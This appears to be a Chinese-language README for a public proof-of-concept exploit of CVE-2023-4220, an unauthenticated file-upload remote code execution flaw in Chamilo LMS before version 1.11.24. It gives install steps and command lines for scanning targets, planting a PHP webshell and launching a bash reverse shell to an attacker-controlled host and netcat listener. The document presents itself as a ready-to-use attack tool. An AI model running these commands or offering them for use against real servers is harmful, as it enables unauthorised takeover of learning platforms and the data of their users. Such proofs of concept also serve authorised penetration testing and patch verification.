该脚本允许利用 CVE-2023-4220 所描述的 Chamilo LMS 软件安全漏洞。系统在 1.11.24 之前的版本中存在漏洞。
将仓库克隆到您的计算机并使用 pip 安装依赖项(建议使用 virtualenv 创建一个环境,以将这些安装与全局安装分开)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
该脚本需要 目标URL 并带有 Chamilo 的根路径(例如 http://example.com/chamilo**、**http://example.com 或 http://chamilo.example.com**)以及要执行的操作(共有三个可用:**scan**、**webshell 和 revshell)。
此操作将尝试访问 /main/inc/lib/javascript/bigupload/files/ 端点来检查目标是否存在漏洞。
python3 main.py -u http://example.com/chamilo -a scan

此操作将在易受攻击的端点创建一个 PHP webshell 文件。
python3 main.py -u http://example.com/chamilo -a webshell

此操作将创建并执行一个 bash 反向 shell 文件。为此,将首先使用与上一个操作相同的方法创建一个 webshell。之后,将执行一些命令来创建并执行该 bash 文件。请确保您在使用 nc 或其他工具监听您定义的端口,以便实际获得反向连接。此外,主机可以是有效的 内部/公共 IPv4(例如 172.17.1.4 或 186.227.4.31)或您注册的域名(例如 evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell

注意: 很快我将为 Windows 主机添加一个 Windows 有效载荷选项。